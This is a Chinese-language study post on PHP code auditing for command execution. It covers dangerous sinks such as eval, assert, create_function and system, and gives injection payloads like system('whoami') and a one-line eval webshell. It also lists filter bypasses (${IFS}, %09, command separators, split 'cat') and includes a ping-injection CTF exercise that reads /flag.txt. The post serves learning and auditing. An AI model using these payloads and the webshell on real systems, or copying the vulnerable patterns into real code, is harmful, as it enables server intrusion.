代码审计——命令执行
文章目錄
- 前言
- 一、代碼執(zhí)行的幾種方式
- 1、${}執(zhí)行代碼
- 2、eval
- 3、assert
- 4、preg_replace
- 5、create_function()
- 6、array_map()
- 7、call_user_func()/call_user_func_array()
- 8、array_filter()
- 9、usort()/uasort()
- 二、常見命令執(zhí)行的函數(shù)
- 1、system()
- 2、passthru()
- 3、exec()
- 4、shell_exec()
- 5、`反引號
- 6、ob_start()
- 三、代碼執(zhí)行繞過姿勢
- 1、空格
- 2、命令終止符
- 3、命令分隔符
- 4、敏感字符繞過(cat)
- 5、無回顯命令執(zhí)行
- 例題
- 6、無字母命令執(zhí)行
前言
最近幾天簡單復(fù)習(xí)了代碼審計中的命令執(zhí)行,這篇為自我復(fù)現(xiàn)時的一些總結(jié)
一、代碼執(zhí)行的幾種方式
1、${}執(zhí)行代碼
例:
<?php ${system('whoami')}; ${phpinfo()}; ?>2、eval
例:
<?php eval('echo "xx";'); echo "<br/>"; eval('system("whoami");'); echo "<br/>"; eval('phpinfo();'); ?>3、assert
(1)普通調(diào)用:
<?php assert($_REQUEST[peak]);?> 利用: http://x.x.x.x/xx.php?peak=phpinfo(); http://x.x.x.x/xx.php?peak=system('whoami');(2)動態(tài)調(diào)用:php官方在php7中更改了assert函數(shù)。在php7.0.29之后的版本不支持動態(tài)調(diào)用
<?php $a="assert"; $a($_REQUEST[peak]); ?> 利用同上4、preg_replace
例:
<?php $a='phpinfo()'; //括號后面的分號可有可無 preg_replace('/ab/e',$a,'abc'); //注意,preg_repalce的第一個參數(shù)必須要整體匹配到第三個,才可php執(zhí)行參數(shù)2 ?>5、create_function()
定義:create_function (string $args,string $code)
$args 變量部分 $code 方法代碼部分 這個匿名函數(shù)類似于 function xx($args){ $code; } xx($args);注:create_function函數(shù)第二個參數(shù)只能使用雙引號或不使用任何符號,僅變量;第一個參數(shù)可使用單雙引號,也可以為空,但不能不使用符號;另外,第一個參數(shù)使用雙引號時,第二個參數(shù)不可有雙引號
例,一個可以命令執(zhí)行的代碼
$func=create_function('$a',"echo $a"); $func($a); #上面的匿名函數(shù)類似于下面這幾行代碼: function xx($a){ //創(chuàng)建一個函數(shù)xx echo $a; //需要代碼塊 } xx($a); //執(zhí)行函數(shù)#因為create_function函數(shù)的第二個參數(shù)是執(zhí)行代碼的 #所以,pyload如下 $a='phpinfo();'; $func=create_function('$a',"echo $a"); $func($a);對比圖:
第二幅圖,瀏覽器展示:
一道CTF題目
6、array_map()
array_map() 函數(shù)將用戶自定義函數(shù)作用到數(shù)組中的每個值上,并返回用戶自定義函數(shù)作用后的帶有新值的數(shù)組
$a = $_GET['a']; $b = $_GET['b']; $array[0] = $b; $c = array_map($a,$array); //payload:?a=assert&b=system('whoami'); //分號可有可無拼接詳解
#payload:?a=assert&b=system('whoami'); $a = $_GET['a']; //$a=assert $b = $_GET['b']; //$b=system('whoami'); $array[0] = $b; //$array數(shù)組的第一個鍵的值為system('whoami'); $c = array_map($a,$array); //$c=array_map(assert,$array) //因為array_map函數(shù)將用戶自定義函數(shù)作用到數(shù)組中的每個值上,并返回用戶自定義函數(shù)作用后的帶有新值的數(shù)組,所以,array_map函數(shù)將assert函數(shù)作用到$array數(shù)組中的每個值上,又因為system('whoami');在$array數(shù)組中,所以,可以理解為使用assert函數(shù)執(zhí)行$array數(shù)組的值并返回結(jié)果,這里也就是使用assert函數(shù)執(zhí)行system('whoami');效果如圖:
7、call_user_func()/call_user_func_array()
1、call_user_func()
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed 第一個參數(shù)callback是被調(diào)用的回調(diào)函數(shù),其余參數(shù)是回調(diào)函數(shù)的參數(shù)。 function xx($a){echo $a; } $b=call_user_func ('xx','test'); echo $b; call_user_func相當(dāng)于執(zhí)行參數(shù)1的函數(shù),也就是這里的xx,參數(shù)2是參數(shù)1函數(shù)的參數(shù),也就是這里的$a 注,call_user_func函數(shù)的參數(shù)不加單雙引號會報錯,但依舊輸出結(jié)果,可以@不輸出報錯
也可以使用系統(tǒng)函數(shù)
例:
2、call_user_func_array()
也可使用系統(tǒng)函數(shù)
<?php $array[0]=$_GET['peak']; @call_user_func_array("assert",$array); ?> //payoad:?peak=system('whoami');例:
8、array_filter()
學(xué)習(xí)這個先要知道&除了是邏輯運算符,還是一個位運算符
例:3&1,就是3和1分別進行二進制的與運算,最后返回的值再轉(zhuǎn)換為10進制
只有當(dāng)2個數(shù)對應(yīng)的位都為1,該位運算結(jié)果為1,否則運算結(jié)果為0。即:1&1=1;1&0=0;0&0=0
array_filter() 函數(shù)用回調(diào)函數(shù)過濾數(shù)組中的元素。
該函數(shù)把輸入數(shù)組中的每個鍵值傳給回調(diào)函數(shù)。如果回調(diào)函數(shù)返回 true,則把輸入數(shù)組中的當(dāng)前鍵值返回給結(jié)果數(shù)組。數(shù)組鍵名保持不變。
在線進制轉(zhuǎn)換:
https://tool.lu/hexconvert/
http://www.txttool.com/wenben_strbinary.asp
示例:
漏洞示例:
$array[0] = $_GET['a']; array_filter($array,'assert'); //將數(shù)組中的每個鍵值傳給回調(diào)函數(shù)(回調(diào)函數(shù)就是一種說法,不用管他),也就是assert //如果回調(diào)函數(shù)返回true,這里也就是如果assert成功執(zhí)行,返回true,則把成功的結(jié)果返回 //true的原數(shù)組的值重新返還到原數(shù)組的對應(yīng)鍵名下(這邊也就是第0位) //payload:?a=system('whoami'); //分號可有可無payload示例:
9、usort()/uasort()
(1)定義: usort() 使用用戶自定義的比較函數(shù)對數(shù)組進行排序 (2)語法: usort(array,myfunction); 參數(shù) 描述 array 必需。規(guī)定要排序的數(shù)組。 myfunction 可選。一個定義了可調(diào)用比較函數(shù)的字符串。如果第一個參數(shù) <, =, > 第二個參數(shù),相應(yīng)地比較函數(shù)必須返回一個 <, =, > 0 的整數(shù)。這里你就理解為array的值使用myfunction參數(shù)執(zhí)行
漏洞舉例:
$GET在php5.6中引入了新特性。即可以將數(shù)組展開成參數(shù)的形式,這是什么意思呢?就是在調(diào)用函數(shù)的時候,使用…運算符, 將數(shù)組和可遍歷對象展開為函數(shù)參數(shù),在usort中,理解為白話的意思就是,可將傳入的array數(shù)組,變?yōu)閙yfunction函數(shù)的參數(shù)。
官方文檔可參考:
https://www.php.net/manual/zh/migration56.new-features.php
漏洞舉例:
那php5.6.27版本以下的怎么用usort,進行命令執(zhí)行呢?
highlight_file(__FILE__); usort($_GET,'assert'); //payload:?1=1&2=phpinfo(); //注:這里僅限php5.4.45版本
注:uasort()用法和usort用法相同,只需要將函數(shù)名修改一下即可
二、常見命令執(zhí)行的函數(shù)
1、system()
-
介紹:執(zhí)行外部程序,并且顯示輸出
-
說明
同 C 版本的 system() 函數(shù)一樣,本函數(shù)執(zhí)行 command 參數(shù)所指定的命令,并且輸出執(zhí)行結(jié)果。
如果 PHP 運行在服務(wù)器模塊中, system() 函數(shù)還會嘗試在每行輸出完畢之后,自動刷新 web 服務(wù)器的輸出緩存。
該函數(shù)執(zhí)行后,直接在終端窗口打印命令執(zhí)行的結(jié)果
如果要獲取一個命令未經(jīng)任何處理的原始輸出,請使用 passthru() 函數(shù)。
- 參數(shù)
command
要執(zhí)行的命令。
return_var
如果提供 return_var 參數(shù),則外部命令執(zhí)行后的返回狀態(tài)將會被設(shè)置到此變量中。 - 返回值
成功則返回命令輸出的最后一行,失敗則返回 FALSE - 例:
2、passthru()
介紹:執(zhí)行外部程序并且顯示原始輸出
- 說明
同 exec() 函數(shù)類似, passthru() 函數(shù)也是用來執(zhí)行外部命令(command)的。當(dāng)所執(zhí)行的 Unix 命令輸出二進制數(shù)據(jù),并且需要直接傳送到瀏覽器的時候,需要用此函數(shù)來替代 exec() 或 system() 函數(shù)。常用來執(zhí)行諸如 pbmplus 之類的可以直接輸出圖像流的命令。通過設(shè)置 Content-type 為 image/gif,然后調(diào)用 pbmplus 程序輸出 gif 文件,就可以從 PHP 腳本中直接輸出圖像到瀏覽器。
- 參數(shù)
command
要執(zhí)行的命令。
return_var
如果提供 return_var 參數(shù), Unix 命令的返回狀態(tài)會被記錄到此參數(shù)。 - 返回值
沒有返回值。 - 例:
3、exec()
- 介紹:執(zhí)行一個外部程序
- 說明
- 參數(shù)
command
要執(zhí)行的命令。
output
如果提供了 output 參數(shù),那么會用命令執(zhí)行的輸出填充此數(shù)組,每行輸出填充數(shù)組中的一個元素。數(shù)組中的數(shù)據(jù)不包含行尾的空白字符,例如 \n 字符。請注意,如果數(shù)組中已經(jīng)包含了部分元素,exec() 函數(shù)會在數(shù)組末尾追加內(nèi)容。如果你不想在數(shù)組末尾進行追加,請在傳入 exec() 函數(shù)之前對數(shù)組使用 unset() 函數(shù)進行重置。
return_var
如果同時提供 output 和 return_var 參數(shù),命令執(zhí)行后的返回狀態(tài)會被寫入到此變量。 - 返回值
命令執(zhí)行結(jié)果的最后一行內(nèi)容。如果你需要獲取未經(jīng)處理的全部輸出數(shù)據(jù),請使用 passthru() 函數(shù)。
如果想要獲取命令的輸出內(nèi)容,請確保使用 output 參數(shù)。 - 總結(jié):執(zhí)行系統(tǒng)命令,但它并不會自己輸出,需要配合echo/print例:
4、shell_exec()
- 介紹:通過 shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回。
- 說明
- 參數(shù)
cmd
要執(zhí)行的命令。 - 返回值
命令執(zhí)行的輸出。如果執(zhí)行過程中發(fā)生錯誤或者進程不產(chǎn)生輸出,則返回 NULL。 - Note
當(dāng)進程執(zhí)行過程中發(fā)生錯誤,或者進程不產(chǎn)生輸出的情況下,都會返回 NULL,所以,使用本函數(shù)無法通過返回值檢測進程是否成功執(zhí)行。如果需要檢查進程執(zhí)行的退出碼,請使用 exec() 函數(shù)。 - 總結(jié):該函數(shù)也可執(zhí)行系統(tǒng)命令,同exec()函數(shù)一樣,需要使用配合echo/print來輸出顯示內(nèi)容
5、`反引號
與shell_exec函數(shù)的功能相同。
shell_exec其實是它的變體,使用方法和shell_exec一樣,例:
6、ob_start()
函數(shù)格式:ob_start(void)
說明:當(dāng)緩沖區(qū)激活時,所有來自PHP程序的非文件頭信息均不會發(fā)送,而是保存在內(nèi)部緩沖區(qū)。為了輸出緩沖區(qū)的內(nèi)容,可以使用ob_end_flush()或flush()輸出緩沖區(qū)的內(nèi)容。
php代碼使用ob_start,就會打開緩沖區(qū),echo后面的字符不會輸出到瀏覽器,而是保留在服務(wù)器,直到你使用flush或者ob_end_flush才會輸出到瀏覽器
<?php header("Content-type: text/html; charset=GBK2312"); highlight_file(__FILE__); echo '<br>'; ob_start("system"); echo "ipconfig"; //注1:該函數(shù)只會返回最后一行數(shù)據(jù) //注2:只能使用一次echo語句,使用兩個會無法輸出 //注3:php版本需要小于等于5.6.27 ob_end_flush(); ?>三、代碼執(zhí)行繞過姿勢
注: 這里的1.txt內(nèi)容為1 2.txt內(nèi)容為2 shell.php內(nèi)容為<?php @eval($_REQUEST['peak']);?>1、空格
在bash中,可以使用以下字符代替空格 < ${IFS} $IFS$9 %09例:
cat<xx.txt cat${IFS}xx.txt cat$IFS$9xx.txt%09是在url中利用
例:假設(shè)目標(biāo)存在一句話,但過濾了空格
一句話:<?php @eval($_REQUEST[peak]);?>
payload:http://x.x.x.x/xx.php?peak=system('cat%09/flag.txt');
2、命令終止符
%00
%20#
3、命令分隔符
(1);
在shell中,分號表示連續(xù)執(zhí)行命令
例:
(2)&
在Linux中,命令之后加上&,表示該命令以后臺方式執(zhí)行。其中[1]表示后臺任務(wù)的標(biāo)識,后面的數(shù)字表明后臺執(zhí)行的任務(wù)的PID,所以第一個命令在shell中以后臺方式運行
例:
(3)&&
前面的命令執(zhí)行成功了,再執(zhí)行后面的;前面的不成功,不執(zhí)行后面的
例:
(4)|
管道符左邊命令的輸出作為管道符右邊命令的輸入,因此左邊的命令不顯示,右邊的顯示
例:
(5)||
前面一個命令執(zhí)行失敗,再執(zhí)行后面;前面成功,不執(zhí)行后面
例:
(6)%0a/%0d
只執(zhí)行%0a/%0d后面的命令
例:
4、敏感字符繞過(cat)
(1)變量繞過
payload: http://x.x.x.x/shell.php?peak=system('a=ca;b=t;$a$b%09/flag.txt');
(2)base64編碼繞過
(3)命令后面可以添加未定義的初始化變量執(zhí)行命令(未定義的初始化變量就是$xx,$后面隨意值)
例:
(4)連接符’’
例:
(5)將一個命令結(jié)果導(dǎo)入到文件中
例:
(6)網(wǎng)絡(luò)地址轉(zhuǎn)化為數(shù)字地址
轉(zhuǎn)換網(wǎng)址:http://www.msxindl.com/tools/ip/ip_num.asp
例:
5、無回顯命令執(zhí)行
(1)使用延時函數(shù)
例:
(2)使用http進行進行連接
- 在攻擊機上執(zhí)行監(jiān)聽
- 在靶機上執(zhí)行反彈shell
- 此時攻擊機會獲取到目標(biāo)ip的shell權(quán)限
例題
目標(biāo)www目錄下有一個peak.php和flag.txt,假設(shè)flag.txt無法直接訪問
<?php highlight_file(__FILE__); $ip = (string)$_GET['ping']; $ip = str_replace(">", "0.0", $ip); shell_exec("ping".$ip); ?>
(1)繞過方法1:使用cp命令將flag.txt復(fù)制重命名為22.txt,然后訪問22.txt
6、無字母命令執(zhí)行
可以參考:https://blog.csdn.net/qq_41617034/article/details/105251741
參考其他:
https://blog.csdn.net/JBlock/article/details/88311388
https://www.cnblogs.com/-mo-/p/11519447.html
總結(jié)
以上是生活随笔為你收集整理的代码审计——命令执行的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 多多视频关注的在哪里找(如何评价原来的人
- 下一篇: 致远OA任意文件下载漏洞(CNVD-20